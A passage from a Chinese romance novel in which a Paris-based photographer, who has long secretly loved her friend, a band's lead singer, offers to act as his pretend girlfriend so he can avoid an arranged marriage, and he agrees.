离阳台十米不到,真切的人就在眼前,她却强烈感觉到他是矜贵而遥远的。夜晚的明月落在一角,明亮清高,他与明月同在一片视线之内,比肩而立,好似另一轮悬月。
近而不可及。
“怎么说?我们的大主唱。”等人一进来,林君如开始幸灾乐祸的关心起来。
“还能怎么说,兵来将挡,水来土掩。”程信淮淡淡的声音里似乎也没把这件难事放在心上。
“听着不像是有什么法子的,难道是准备束手就擒了?”
“这不正在想法子。”程信淮身子往后,懒散地躺进沙发里,有些忧愁。
“再找个演员?”刘远绪提议。
“什么演员?”林君如疑惑。
一旁的温亦汀也疑惑。
“就是找人帮忙扮演一下女朋友,搪塞他家里人。要是他有了女朋友,肯定不会再继续,他爸再怎么迫切,也不可能让自己儿子脚踏两只船啊。”
“现在的演员,职业操守都不过关。”程信淮摇了摇头,点评道。
他之前不是没找过,那些可都是自诩专业的,最后不是怯场,就是露马脚,再者,就是心怀不轨。
若再找,恐怕也是重蹈覆辙。
“那你现在能怎么办?”
“还没想到……”
众人聊着,温亦汀在一旁静静听着,心中五味杂陈。
她心中的少年,热爱音乐的少年,也会这样举步维艰。
打心里,她有些心疼。
闲谈的话题总是过得很快,没一会儿,时闵就拿起一杯酒,递到温亦汀面前,“一丁,以后多聚啊。你说说你,高中毕业出国不让我们知道,也不让我们送,就这么悄悄地跑来巴黎了。”
包厢灯光明亮暖黄,照得酒杯里的液体流转出鲜艳的色彩,照得她脑子一片空白。
她握着酒杯,指尖泛白,“出国比较匆忙,都没来得及。”
“那出国了这么几年也不跟我们联系。”
出国后,她的日子并不好过,忧愁与悲伤远远大过维持联系,她也不愿将自己不堪的一面示人。
除了林君如和家里几人,她和国内的人联系很少,加上后来质数乐队一步一步走得更高更远,时间和空间的距离让她感到一种无形的差距,也没再能找到契机去联系。
久而久之,她就只和林君如联系。
“阿淮就比我们幸运,他后来跟我们说那天晚上还看到你了,我们都没有。”时闵瞥了一眼慢悠悠喝水的程信淮,收回视线后自然地与温亦汀碰杯。
“你那天晚上去找阿淮了?”林君如瞪大眼睛凑在温亦汀身边,像是发现了什么天大的秘密。
据她所知,她那天是去给人告白的……
温亦汀惊恐,连忙否认,“只是在学校里碰到了他。”
“然后你就跟阿淮告了别,我们都没看到你!”有人哀嚎。
为什么和他告了别,温亦汀自己曾经也想了很久。
大概是阴差阳错,也大概是和那时候的自己道别,宣告青春暗恋的曲终。
“谁让你们走那么快,晚走一会儿就能见到了。我运气好,碰到她了。”程信淮出声,说明了那天的大致情况。
温亦汀看了看他的散漫的笑脸,脑海里却忽然想起那天晚上的自己,与现在不同,一个喜,一个悲,反差强烈。
她只附和着点了点头,心中格外酸涩。
他只知道,那天碰巧在他们经常练习的音乐教室楼下碰到她,却不知道她是为了什么在那里。
在很多个瞬间,她都有过懊悔,怅惘。
但在这个时刻,她又矛盾地觉得也挺好,至少,他什么都不知道。
吃过饭,程信淮和队友在商量着公司的事,林君如听不进去,拉着温亦汀往阳台去。
夜空明朗,衬得巴黎的夜景格外明丽和谐。两人窝在阳台外悠哉悠哉,欣赏夜空的繁星。
“回国怎么打算的?”林君如不知何时拿了瓶酒,给两人倒了半杯。
“先回去找个住的地方吧。”
“不和你妈一起住吗?”
“算了,住她那不方便。”
“那你要不就住我闲置的那套中心公寓,环境和安保都挺好的,交通也还行。”
林君如高低也算个大小姐,家里开了个公司,在她毕业后,她爸就给她送了套房,工作后,方便她通勤,又在公司附近买了套房,所以她也算是个小富婆。
温亦汀是个怕麻烦的人,问了具体位置,周边情况,觉得各方面都在接受范围内,思索片刻,“那行,以后你就是我房东了。”
林君如睨她,“给你白嫖的,反正空着也是空着。”
“一码归一码,要是我穷得交不上房租,你宽限我点时间就行了。”
“犟骨头……”林君如笑骂她,深知她在某些方面的倔脾气,不再推脱。
“……”
手机传来叮咚一声消息提示,温亦汀打开一看,微信的新朋友上显出红点,点开一看,附上了一条消息:怎么把我删了?why?
温亦汀退出,没再管。
“又是那个Mike?”林君如凑近,看到她页面上的好友申请和备注。摸了摸她的头,开始同情,“怎么像狗皮膏药一样,不是都说清楚了?”
Mike是温亦汀之前的一个客户,因为两次拍摄,便开始对温亦汀展开猛烈的追求。起初,温亦汀拒绝得比较委婉,怕让人丢了
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面子,偏偏这人毫不在意,也不知趣,依旧我行我素,温亦汀直接不留情面拒绝后,直接将人删了,连工作联系也交给了其他同事,简直对此人避之而不及。
没成想,人家还没歇气。
“不知道,懒得管他。”温亦汀不理会。
“这么执着,坚持这么久,不打算接受了试试?”林君如嬉笑着,起了八卦之意。
“是你,你接受吗?”温亦汀明媚的脸上没什么表情,语气有些无奈。
“那倒不用了,我消受不起。”
“是啊,无福消受。”
阳台灯光明黄,打在温亦汀白净的脸上,清丽婉然。
空气里沉默了片刻,林君如小心翼翼地问道,“不会还想着你的白月光吧?”
温亦汀手上一顿,耳边还传来包厢里程信淮的声音。
仿佛是一种提醒。
见她不语,林君如就知晓了她的心思。
“说不定那个学长都结婚生子了,你还是别轴着了。”
“他还没结婚,也没生子。”温亦汀回答她。
杯中又被林君如倒满酒,听到她慢悠悠说着,“虽然不知道具体他是谁,但我觉得他真的眼瞎。我们一丁这么优秀,从小美到大的,脾气性格都挺好的,是他没这个福气……世上那么多男人比那个什么学长强多了,你就别再封闭自己了。不是Mike,也能有其他的Jack或者Mark啊……”
高中时期,林君如知道温亦汀喜欢一个人,还玩起了暗恋的把戏,多次打探无果,她也不再纠结于是谁。
只是当年温亦汀毕业后说要去告白,最后她打电话过去询问好事时,却只听到那头低低隐忍的啜泣。
那时林君如知晓,温亦汀的白月光成了她青春期的be剧本男主角。
温亦汀淡淡“嗯”了一声,抬头一看,月色幽幽,心中蔓延起无数细密的潮水,将心中记挂的那张脸洗了又洗,越来越清晰。
“不想他了。”
“我可不信。你呀,就是一根筋,喜欢一个人了就不会转弯。”
“……”
温亦汀思索片刻,想说的话到了嘴边,最终还是咽了下去。她至今都没有想好,该怎么和林君如说,那个学长就是程信淮。
说了,按照林君如兜不住事的性子,迟早会传扬十万八千里,那时候,就真的是一种无已挽回的尴尬局面。
她可以一直做程信淮关系一般的朋友,这种状态让人安心,又让人伤心。
可她还是觉得,成为朋友,是最保险的方式,不会失去什么,反而可以一直拥有。
只是偶尔难过一点罢了。
“君如,我最近见到那个……学长了。”看着遥遥星空,她竟生出一些舒畅之感。
“什么!见到了?然后呢?”林君如立马从椅子上立了起来,眼睛直直地盯着温亦汀,等着她的后文。
“然后……就见到了而已。”她犹豫了一下,发现有些话还是说不得。
“他有女朋友了吗?”
温亦汀摇头,“没有……”
“那你还有戏,什么都没有,你就勇敢一次去追他呗。都成年人了,直接冲,弥补一下自己当年的遗憾。”林君如想得简单,提议道。
“那要是被拒绝了呢?”温亦汀思考片刻后问道。
“你为什么那么怕被拒绝?”林君如疑惑。
温亦汀哑口。
因为被拒绝了,说不定连那层微妙的朋友关系也会消失。
其实她也心知肚明,追一次,也不一定能打动他。
“可能是发觉,他不喜欢我吧,这样似乎也没意义了吧?”她有些迷惘。
“你喜欢就好,在不让他反感的情况下,试着再多去接触接触,”林君如看着她的侧脸,感觉到了落寞。
“勇敢一次才知道结果,一丁。如果他还是值得你喜欢的那个人,做一次大胆的行为也值得。”
温亦汀垂眸思索,淡淡嗯了一声。
“话说是什么感觉?再次见到自己喜欢的人。”
5. 你总是微笑的
虽说已经不是什么小女孩,没了青春期的懵懂,但面对曾经喜欢了那么久的人,究竟心中是什么感觉,林君如很好奇。
温亦汀开始回忆,当时见到程信淮时,她到底是何种心境?
胆怯,慌张,又有一种想要勇敢的冲动。
“很奇妙的感觉。”
“那是什么感觉?”
“就像迫不及待地打开巧克力,即使是块黑巧克力,也觉得甜。”
“就是虽苦但甘之如饴?”
“……”
温亦汀笑了笑,趴在栏杆上望着楼下的街景。
街道上人来人往,一辆巴士路过,串起一阵躁动,一个年轻的男人从远处跑来,最终还是没有赶上巴士,脸上满是无奈。
“看什么呢?这么入迷。”林君如看她一副出神的模样,顺着她的视线一齐看向了下面的街道。
温亦汀拿起手机向着窗外的场景拍下照片,取景框里正好是落寞的男人和远去的巴士,越来越远,“那个帅哥刚刚错过了巴士,他看着好伤心的样子。”
“你一天真是心大,人家错过了关你什么事?他错过了不能坐下一趟嘛。”林君如恨铁不成钢,明明还在讨论感情的事,突然就转移到别处去了。
温亦汀朝她做了个鬼脸,开始感叹,“我就是觉得挺遗憾的。”
“遗憾个屁,但凡早一点,跑快一点,多嚎两嗓子,这车他就坐上了,巴士不主动等人,但人得有主动性啊。”林君如的话字字珠玑。
温亦汀附和着点点头,眼眸垂下,突然想到了自己。
包厢里依旧热闹,温亦汀朝里面看了一眼,悄悄捕捉着程信淮的身影。
骨节分明的手指握着香槟酒杯,在手中慢慢摇晃,再一口喝下。
队友朝他说了句什么,他就露出一个淡淡的笑容,脸颊显出浅浅的酒窝。
“阿淮也笑得出来,这都危机了。”林君如跟着回身望向包厢里的众人,一副幸灾乐祸的模样。
温亦汀有些说不出滋味,“他打算怎么办?”
“谁知道,联姻这事肯定不在他的考虑范围……”林君如顿了一下,继续道,“我感觉啊,爱情都不是在他考虑范围内的。”
“要是没有办法,他估计会联姻结婚吧?”温亦汀淡淡问道。
“他应该有办法,不然按照家里的压力,他也不会现在还在玩音乐了。”林君如没什么担心,反正程信淮会不择手段地应付过去。
“希望他不要结婚。”温亦汀轻声说了句。
“你这希望……好奇怪。”
-
夜深人静,众人准备打道回府。
林君如在阳台喝得不少,状态已是晕晕乎乎。
温亦汀扶着她颤颤巍巍的,最后被刘远绪接手。
她不大放心,正准备再上前跟着,手臂被人往后拉。
“一丁,队长会照顾好她的,你别跟过去捣乱了。”
温亦汀转身,看到时闵笑眯眯的表情,看得出也是喝得不少。
她有些疑惑地嘟囔,“我怎么可能坏事。”
“人家小情侣之间,你跟着那不就是坏事……”时闵的话点到为止,最后以一声笑收尾。
温亦汀:“……”
最后,人都走得差不多,程信淮从桌上捞起钥匙,将时闵从沙发上扶起来。
温亦汀上前帮忙。
程信淮将人撑着足足有余,不需要温亦汀帮忙,朝她扬了扬头,示意她往前面走,“先送你回去。”
不到半小时,温亦汀就到家了。
后座的时闵早已呼呼大睡,温亦汀心中还藏着几句话,在临近下车时,也没酝酿好。
她正准备下车时,程信淮突然拉住了她的手腕,温燥的手掌覆在她的微凉的腕子上,传来一阵阵暖意。
“你是不是又忘了什么东西?”
温亦汀又关上了车门,转身看着程信淮,一直回想着忘了什么。
想了一会儿,她都没有反应。
眼前突然放下一朵桃花。
她的钥匙。
“这么粗心大意的,准备丢几次钥匙?”程信淮摇了摇眼前的钥匙,发出叮叮当当的声响。
大概是吃饭的时候不小心又从包里掉了出来。
“谢谢啊。”
“不客气,记得收好,我也不可能每次都帮你捡到。”程信淮提醒她。
“知道了。”
“这钥匙挂饰有些年代了吧?”他突兀地问起来。
温亦汀一愣,垂眸看了看手上的桃花饰品,有一处毛线已经不知被什么勾出一截,经常清洗,颜色也不像最初那般鲜亮,看着有点垂暮的意思。
温亦汀将桃花捏在手里,笑了笑,“是有些年头了,习惯了就一直没换。”
“嗯,挺好看的。”他笑得温和,满口的漫不经心,也并没有因为这桃花想到什么。
温亦汀心中鼓了口气,手指搭在车门开关上,“阿淮,希望你一直在音乐这条路上。别被其他的事情打败了。”
程信淮反应过来,望着她淡淡笑了,“放心吧,我努力。”
心中松了一下,温亦汀打开车门,“那我先上去了……”
“嗯。”
-
回到家中,温亦汀酒虽喝得很少,却口渴得厉害,直接冲到厨房开始烧水。
等待的时间总是无聊的,她脑子里开始胡思乱想。
干净的厨房灯光明亮,水壶开始微微发热,从底端生气一串细密的水泡。
窗外如水的月光,她靠在琉璃台边,环抱着手臂。耳畔的烧水声咕噜咕噜开始变得绵延悠长,花白的水雾像一层轻纱,渐渐梦幻。
旁边还放着没有收拾的钥匙,粉色毛绒桃花在干净纯洁的琉璃台上格外醒目。
开水沸腾的声音渐渐停息,好像时光也开始在这片画面中定格,脑海里的记忆随之翻起云涌。
翻墙的少年说对不起,为她递上几枝桃花。
对于桃花深刻的记忆,也是从那个时候开始。
清楚地记得,那是初识,是莽撞的源头,也是她的心动初见端倪。
高中的午休时刻,是老师的午休,却是学生的欢乐时刻。
校园里只有三三两两的人群,几声鸟叫或是呼呼的风声都能清晰可感。
温亦汀跟着林君如悄悄从教室溜出来,弓着身子越过教师办公室前的窗户。
那时班级里流行制作干花标本,温亦汀和林君如也成了赶潮儿。
北城高中别的不多,花花草草堪称一绝。此时正值桃花盛开的季节,校园植物园里的桃花开得正盛。但一般时候,学校规定学生不允许随意采摘植物园里的花草,之前有很多当耳旁风的,最终都被请到了办公室得到一顿教训外加义务劳动。
温亦汀和林君如两人不甘心,打算趁午休没人的时候偷偷去植物园摘桃花。
植物园不止有桃花,气候适宜,今年的枇杷结得格外好。一串串金灿灿地挂在枝头,与绿叶互相映衬。
这么好的枇杷,偏偏学校怕学生爬树之类的安全问题就这么任其在枝头萧瑟,直至掉落,温亦汀看着都觉得可惜,更大的是馋。
“啊,我想上厕所了……”刚到桃花树林,林
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君如开始低声哀嚎。
温亦汀恨铁不成钢,压低声音,“你再忍忍,我们很快摘完就回去。”
林君如连忙摆手,“不行了,我这两天闹肚子,我先去解决。”
“关键时刻掉链子。那你快去快回,我在这等你。”温亦汀看了看四周,将视线落在枇杷树上,“等下时间够的话我再摘点枇杷,你过来了我们一起拿回去。”
“行行行,你小心一点,别被发现了。”林君如压着声音,从裤袋里掏出一个口罩,“带个口罩,不容易被认出来。”
温亦汀:“……”
虽然有种欲盖弥彰之意,但她还是乖乖戴上了。
低矮的桃花树下,温亦汀精挑细选,将自认为最大最漂亮的几枝鲜艳桃花摘下。看着手中的桃花,她已经能想象出回到班级时其他同学投来的艳羡目光,忍不住扬起嘴角。
四周静得出奇,等待期间,她环顾四周,小心翼翼地将桃花放在墙边,爬上枇杷树。
一串串金黄黄珠子被她塞了满满一袋子,树并不高,她坐在树杈上刚喘口气,围墙边传来一阵窸窸窣窣,视线微微一斜,她看到围墙上冒出一个人。
速度之快,咻地一下直接就跳了进来。
啪——
“诶!我的桃花!”
人落地的声音,桃花枝被折断的声音,以及温亦汀随之而来的惊呼,聚在一起。
突发的情况下,温亦汀抱着树杈,只盯着踩踏她桃花枝的少年大喊“我的桃花”。
翻墙的少年面上一惊,微微挑眉,他显然是没想到,翻墙落下的一瞬间还会收到这样一声责怪般的惊呼。
她的桃花……
顺着她的视线,他才发现自己脚下被踩踏得稀烂的桃花枝,凌乱而不堪入目。
“对不……”
“谁在那?”保安的声音由远及近,朝着植物园的方向靠近,“又是哪个班的?一天天非要去办公室报道才舒服是吧,学校那厕所都要被你们扫抛光了还不长记性……”
越来越近的声音。
温亦汀飞快从树上爬下来,抱着枇杷不知所措,想迅速重新摘桃花,又害怕被逮住。
犹豫间,小臂上一圈温热,随即轻轻将她一扯,“先走。”
她在慌乱中跟着这个“罪魁祸首”一直向外跑,保安的声音越来越远。
他拉着她的手,手掌的温热顺着手臂,一缕缕传到她的感官神经,她只堪堪看到分明俊逸的侧脸,却像是渐渐升起一阵鼓噪。
教学楼下,他的脚步缓缓停下,她也跟着停下。
温亦汀微微喘着气,却忍不住将注意力都放在面前的人身上。
高出她大半截,干净清爽的装扮,身后还背着一把吉他。
再一看,墨发微短,清爽干净,眉毛浓密,下面是一双漂亮的桃花眼,右眼角下缀着一颗小痣。
“同学不好意思啊。”他率先开了口,眼眸微垂着看她,脸上的笑容满含谦意,“你的桃花。”
面前突然递上几枝桃花。
原来,他在短短时间内重新摘了几枝桃花赔给她。
清爽明朗的少年拿着桃花枝,脸颊的酒窝浅浅,比桃花更吸引人。
大概,真的是她的桃花吧……
“……谢谢了。”
谢谢他的桃花,也谢谢他拉着她逃跑。
“实在抱歉。”少年又道了次歉,抬手看了眼时间,匆匆忙忙跑进了隔壁教学楼。
穿堂风刮过,吹起少年蓝色衬衫的一角,与身后的吉他挑逗纠缠。
匆匆相遇,悄悄吹起了温亦汀心中的一阵风。
6. 你总是不开口
隔天工作室内,温亦汀看着整理好的办公桌,感到一阵愉悦轻松。
“Willa,你什么时候回国?”同事问她。
“下周。”
话落,温亦汀已经将带来的几只大袋子提到桌子上,把袋子里的物品一一分发出去,“我为大家挑选的一些离别小礼物,希望你们能喜欢。”
按照每位同事的特点,温亦汀挑选了不一样的娃娃,收到玩偶的众人纷纷扬着嘴角。
“Willa,你这么走了,我们很不习惯的。”
“对啊,别走了。留在巴黎多好。”
“我们工作室损失一位美女摄影师,想想就觉得难过。”
“预感忠于你的那些老客户要伤心了,再找到脾气像你这么好的可不容易。”
……
温亦汀一一回应大家的话,扫视整个工作室,确保每人的礼物都没有漏掉。
“大家以后要是去北城,随时联系我,免费的导游。”
她的声音在工作室里回荡,语调欢快,让人觉得十分舒服。
“必须的!”
“Willa你真的太贴心了,这要是以后想你,那就只能看着玩偶,睹物思人。”
“睹物思人用得不错。”温亦汀调侃说话的这位法国同事,以往闲暇时间,温亦汀会教同事们说汉语,如今同事们基本的中文社交语言,大多中文都是她教的。非语言环境下能用上这成语,中文水平算不错了。
“还有几天,在巴黎好好放松,”同事给她推荐了很多巴黎周边小镇,适合放松度假,“对了,你之前要的那个镜头得明天给你带来,今天出门太着急了。”
她看中了一个相机镜头,奈何是很多年前的“古董”,刚好同事有收藏,愿意转卖。
“没问题,下周三前我都还在。”喜由心生,温亦汀笑得更加明媚。
同事一愣,眨巴着眼睛,开始感叹,“难怪那个Mike喜欢你喜欢得疯魔,我要是个男的也这样。”
“别了吧,这是一种困扰。”温亦汀摊开手表示很难搞。
话落,她看了眼手机上的时间,慢慢起身,朝后门走去,“我有点事,就先走了。”
“一丁,记得从侧门走,刚刚还看到Mike在楼下等着你呢。”一位同事刚从楼下上来,提醒道。
温亦汀拧眉,“我还以为他走了呢。”
先前上来的时候她就碰到了Mike,与他讲了几句明确的话,本以为人已经走了,看来是出乎了她的意料。
同事离她远了两步,两只手在她面前夸张地比划了个大圆,“他不知道去哪里买了这么大一束玫瑰花,花瓣都能把你淹死。”
“在他淹死我之前,我先溜了……”温亦汀扬了扬手说再见,黑发在风中飘散,留下一阵清爽的和风。
从工作室的大楼出来,阳光已经透出微微的一点橘色,像是一次染色的画,给城市的街道增添了梦幻柔和的氛围。
下午约了人,应该说是她的学长,或许,即将成为她未来的合作伙伴。
她很快就到了约好的咖啡馆。
刚坐下,天气开始阴沉,很快就下起小雨。
细雨缠绵,洋洋洒洒落在窗边,像是几颗细密的珍珠缀在花草其间,欲坠不坠,颤颤悠悠。
咖啡馆是她经常来的,简约温馨的布置,偏向中式的雅致,又不乏文艺有趣的摆件。
温亦汀转头欣赏周围环境,本是漫无目的地闲看,镂空的木架,一眼让她看到了隔壁区域的景致。
视线最终直直定格在斜角不远处的位置。
阿淮?
他的脸上蕴着淡淡笑意,端起桌前的咖啡喝了一口。
不知对面的女生说了什么,他摇了摇头,微微低头,像是在表示什么歉意一般。
永远是一副温淡的笑容,对任何人都随和友好,对什么都松弛有度……
视线流转于那方圆桌。霎时,一双深邃的眉眼与她碰撞。
那眼神就像是那晚他迷离看向她时的一样,如墨如海。
他笑着,像是在同她打招呼。
她回以笑容,眨了眨眼,连忙移开。
咖啡厅里,她等了没一会儿,人就匆匆赶来。
“一丁,让你久等了。”齐越鸣西装革履,看着很商务。
“我也才刚到,学长。”
齐越鸣点了一杯咖啡,坐在了温亦汀对面,“看来你是已经想好了?”
温亦汀点了点头。
齐越鸣与她相识多年,高中时期齐越鸣比她大一级,温亦汀那个时候就爱好摄影,直接进了摄影社团,齐越鸣是摄影社的社长。
对于同是爱好摄影的人来说,偶尔也会有很多关于摄影的话题讨论,就这样,他们成为了朋友。
出国后两人也没什么联系,不过温亦汀发布的很多摄影作品,齐越鸣会时不时点赞,偶尔再探讨几句。
直到前段时间,齐越鸣在巴黎参加一个商业活动,两人才见了一面。
那个时候,两人说起了未来的规划,齐越鸣向她抛出橄榄枝,说他当投资人,她掌握摄影主权,在北城开一家摄影工作室。
温亦汀最初是犹豫的,甚至想拒绝。但她没把话说绝。
她原本的设想是自己在北城独立开摄影工作室,这样也免去了与合伙人某些利益上扯不清的纠缠。但回去深思熟虑后,她渐渐认清现实,目前以她的状况来看,独立创办工作室,够呛。
即使温亦汀在巴黎的摄影能得到很多人的认可,想约她拍摄的人并不少。俗语有说“酒香不怕巷子深”,可巷子多了,再香的酒也不一定能传出去。
她的点滴成就也只是在国外,北城已然是另一片天地。
客源少得可怜,在北城也没什么人脉,一切似乎都要从零开始。
而齐越鸣在北城七八年,早已在摄影的圈子里混得风生水起,稳定的人脉和客源根本不用愁。
况且,齐越鸣只负责客源,单纯做个投资人。一切摄影的事务都是她说了算,这也是一件不错的事。
齐越鸣这次比较匆忙,直接开门见山,将拟好的策划书先拿给了她。
两人说好,等她先回去将策划书仔细看看,具体的事项等她回北城再详细商量。
寒暄了没几句,齐越鸣就被一个电话叫走了。
送走齐越鸣,温亦汀周围又重回一片安宁。
从咖啡馆出来时,雨势大了很多。
温亦汀没再回店内,只能在屋檐下等着,细雨一直不断,就像在刻意阻止她离开一样。
朝咖啡馆里望了望,程信淮那一桌还在继续交谈,两人都笑着,似乎聊得不错。
她朝着咖啡馆内的人看了好一会儿,收回视线,又盯着手机屏幕发愣。像是下定了什么决心,点开了黑胶唱片的微信头像,打开对话框,输入几个字,又删掉,斟酌一番,再输入,发送。
【可以和你聊聊吗?就在咖啡馆。】
聊天页面中孤零零的一句话,很是突兀。
很快弹出一条信息——
阿淮:【好,稍等一会儿。】
她松了口气,开始盯着他的回复发怔,直到电话打进来。
刚将手机移到耳边,那头就传来亲切的问候,“小汀,在那边一切都好吗?”
来电的是她的母亲林月云,其实很少会打电话过来,离上次两人通电话,已经有一个月了。
“……妈,”她喊了一声,似乎每次喊这句话都会让她觉得悲伤,所以她很少喊,“我在这边挺好的,您和小姨身体好吗
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?”
“我们都挺好的,你别担心我们。”
电话里沉默了一阵,两人之间就像冻住了一样。
“小汀什么时候回国?我和你小姨来机场接你。”林月云打破沉默。
温亦汀晃了下神,还是委婉地拒绝了,“我,我下周就回来了,不用来接,林君如来接我。”
“这样啊,那,那我就在家等你回来……”林月云似乎知道会有这样的结果,虽有失望,却不易察觉。
“你小姨还有话跟你说,那你跟你小姨讲。”
“好。”
一阵噪声,电话已经到了小姨林月彩手中。
“小汀啊,回来一定要记得告诉我们。”林月彩的声音洪亮些,让温亦汀稍稍把电话移开了些。
“知道啦,我一定提前通知!”温亦汀俏皮地回应。
那头安静了一会儿,才继续开口,“怎么跟你妈聊这么点时间就给我了?”
温亦汀愣了一下,“……想着回来了多聊,怕打扰你们。”
“嗐,我们这边都大晚上了,没什么事,正在院子里休息呢。”林月彩声音欢快,那头还有广场舞的伴奏。
“好。”
“你妈现在去旁边给人拿水了,”林月彩提醒,“等你回来,可多跟你妈聊聊,母女之间亲密些才是,别介意以前那些事。”
听到小姨的语重心长,温亦汀自然明白,“小姨,我知道了,我早就想通了。”
“想通就好。”
那头絮絮叨叨叮嘱很多,最后才结束通话。
她回身望着咖啡馆内,还在聊。
挂断电话,她长呼一口气。
不明朗的天气让情绪更低沉,越想就越陷入某种怪圈出不来。
她偶尔还能想起来,八年前出国的前夕,她哭着求她母亲,让她留在北城。
那时候母亲只说,滚到国外去,最好永远不要回来。
在她的认知里,她是被抛弃了。
八年的时间里,她才慢慢知晓,她不是被抛弃,而是被保护。
察觉几行滚烫从眼角滑到下颌,变冰变凉,她摸了一把脸颊,连忙擦干。
雨势并没有减弱,凉意也增大了几分,萦绕周身,她捏起衣领,往上拢了拢。
“怎么没去店里等?”
熟悉的声音响在耳边,她立刻就知道是谁。
身躯一顿,温亦汀转身看去。
一身得体的棉麻质地的衬衫,没有刻板衬衫那般严肃,平添几分柔和,严谨呆板与得体平和之间,不落俗套。
“……里面有点闷。”
沉默中,她的脑子里想跑马灯一样,组织着各种措辞。
“要不去店里坐着聊?”
程信淮见她裹紧外套,微微转身,挡去从街角蔓延而来的大部分凉风。
她在他的身前,温暖又慌乱。
“不用了。”
空气里只剩下雨丝的沙沙声,还有店内隐隐约约的舒缓音乐,抛开毫无头绪的烦扰,她觉得此时气氛正好。与他在一个屋檐下,看雨丝绵密,等一个雨停。
“阿淮……”
“嗯?”
当她抬头看他时,透过店内的灯光,微黄柔和,洒在他的脸上,让他眉眼温情。
“你找到法子不联姻了吗?”她看了看他,笑意清浅。
“暂时没有。”
听到这几个字时,温亦汀悄悄舒了口气。
雨滴顺着屋檐的一角滴在地面,啪嗒啪嗒,一点一点地敲在她的心头。
她盯着地面溅起的水花,眼神渐渐虚焦,眨了眨眼,温亦汀才开口,“阿淮。”
“嗯?”程信淮再一次回应,转头望她。
“我帮你想了个方法,要不要听听?”
7. 世界被你掌握
程信淮凝眸,“什么方法?”
“你不想联姻,之前也找过什么演员之类的……如果你找一个有同样困境的人,两个人互相帮忙打掩护,这样应该比找演员会好很多。”她鼓足勇气,表现得坦然而淡定。
程信淮垂眸沉思了一会儿,“这样的人可不好找。”
这样的人或许多,但他不可能随便拉个有相同情况的陌生人。
“我们互帮互助吧。”
“什么意思?”
温亦汀死死捏着指甲,看向他。这张脸,八年之久的时间里,在她的脑海里一直都是清晰的存在。
人总是矛盾的……
她有自己的骄傲,在明知他不喜欢她的情况下,不该自欺欺人,不该结婚。
可真实地看到他和其他女生面对面,或许商谈着婚姻之事,或许即将妥协联姻。
她突然生出了不甘,也觉得悲伤。
要是再努力一下,结局会不会不那么遗憾?
不在乎结果,她莽撞一次吧。
想到那天错过巴士的帅哥,那天林君如说,人得有主动性。
她心里坚定——
别做错过巴士的人。
退一万步想,或许回北城就没什么机会再见,在巴黎的最后时刻,她说了就说了,丢脸就丢脸,在北城当个缩头乌龟就好了。
这样,她或许就真的可以彻底结束这场多年的迷恋。
这个季节,雨中刮来的风并不刺骨,莫名带着一股温柔的劲头,像是一种推力,卷起细碎情感,拉起沉睡的勇气。
“你想摆脱家里安排的联姻……我家里也催婚,我不想结婚,也需要一个挡箭牌。我们境况相同,大家都是朋友,也算知根知底……”
今日在咖啡馆是碰巧,那晚酒后不算是。
意识清醒下,酒精让胆子大了几分。
她贪好渺茫的亲昵,顺水推舟,和喜欢多年的人酒后欢愉。
她不光彩。
今天说这话时,她也不够光彩。
她顿了口气,心里直打鼓,“如果不讨厌我的话,我们互相帮助,解决各自的问题……”
“我做你的演员。”
话落,温亦汀手心渗汗不停,心间的剧烈跳动没有平息过,她都不太清楚自己说话时的声音是不是颤抖的。
微风里的空气静默几秒,静得滴出浓郁的暮色。
一秒,两秒,三秒……六秒,他都没有说话。
几秒的等待时间,她都觉得很漫长,像是放了延时器,让周围都变成了慢动作。
程信淮看着她,眸中多了几分探究。
正在程信淮该说些什么的时候,一阵窸窸窣窣的说话声由远及近。
“阿淮,见到你真的太幸运了!”身边走近一男一女,压制着惊呼,手里握着相机,一脸喜悦地看着她面前的人。
温亦汀往旁边挪了两步为他们腾出空间,在一旁静静看着几人。
她垂下眼睫,心中郁闷。
在这样的时刻被人打断,总像是吊着一口气,被卡住脖子一样。
看着一旁的粉丝见面,她重新回想自己刚刚的莽撞行为,渐渐害怕程信淮的回答不在她的预期。
同时,她又后怕,深觉自己把话说的太满了,要是被发现家里根本没人催婚,那她到时候该怎么辩解。
落寞烦闷的情绪袭来,脑子混乱作一团。
冷静下来,她有些退缩了。
“阿淮,我太喜欢你们的歌了,可以给我签个名吗?”
“没问题。”
程信淮笑得温和平静,身型挺拔,姿态松弛有度。
在街头碰到粉丝上前问候已经不是什么稀奇事了,他十分熟练地在笔记本上签好名,写下几句祝福寄语,模样认真。
“阿淮,我们永远支持你们,日本的演唱会不见不散!”两人笑着打完招呼才离开。
“谢谢。路上注意安全。”程信淮看着粉丝离去,嘱咐两句。
人走后,咖啡馆的屋檐下又重回宁静。
浅浅吸了口气,温亦汀准备反悔,“刚刚开玩笑……”
“做我女朋友吧。”
与此同时,柔和的声线格外恳切,仿佛雨中的一缕清风划过,吹散她继续为自己找补的话语。
雨丝细斜,清俊的脸庞因暖黄的灯光而朦胧。程信淮站在她身边,短短一句,让周边的喧嚣躁动都失了声。
如果默默喜欢了多年的人,站在自己面前,用一双深情认真的眼,说着男女间的告白词,一定会忍不住流泪吧。
雨声淅沥,鼓噪耳膜,躁得她也很想流泪。
喜悦又悲哀。
程信淮朝她走了几步,离她近了些。
“……像你说的,解决各自的问题。我们是朋友,应该也可以做个好的帮助伙伴。”片刻,他又补充一句,“如果你愿意的话。”
“……”
温亦汀压下翻涌的情绪,将深陷在掌心的指甲松开,得来片刻舒缓。嘴角漾出浅笑,淡淡的酒窝压成好看的弧度。
“我当然愿意。”
察觉自己的笑容有些开始发僵,温亦汀朝他伸出手,拇指张开,四指并拢,作握手状。
程信淮一愣,挑眉笑她,“怎么像跟谈合作一样?”
他配合着她的动作,与她虎口相对。
温暖干燥的掌,几乎可以将她的手完全包住,手掌贴近,却在某些地方又是远得要命。
“因为……达成合作,总该盖个章吧。”她笑得自然而轻松,显得游刃有余。
她一定掩饰得很好吧。
“这个盖章方式挺有趣的。”
“……”
“刚刚怎么还说是开玩笑的?”
她犹豫要退缩的那句话还是被他听到了。
温亦汀囫囵一圈,“感觉有点冒昧了。”
“不会,大家都有同样的困扰而已。”
“确实,家里相亲催婚受不了了,找个人应付一下。”她嘴角上扬,故意顺着解释一番。
“也是挺巧。”
雨势还在不断持续,伴着一阵风,雨丝斜飞,他们只好再等等。
没几分钟,雨势减小,只有一层绵绵的水汽在空中游荡。
“雨小了很多,怎么回去?”程信淮朝前方看了看,转头问她。
闻声,温亦汀也看向外面,收回视线时,注意到他手上提着一柄黑色雨伞。
冷白的手指骨节握住黑色的弯手柄,潮湿雨意的帷幕将这种黑白色差衬得愈发明显。
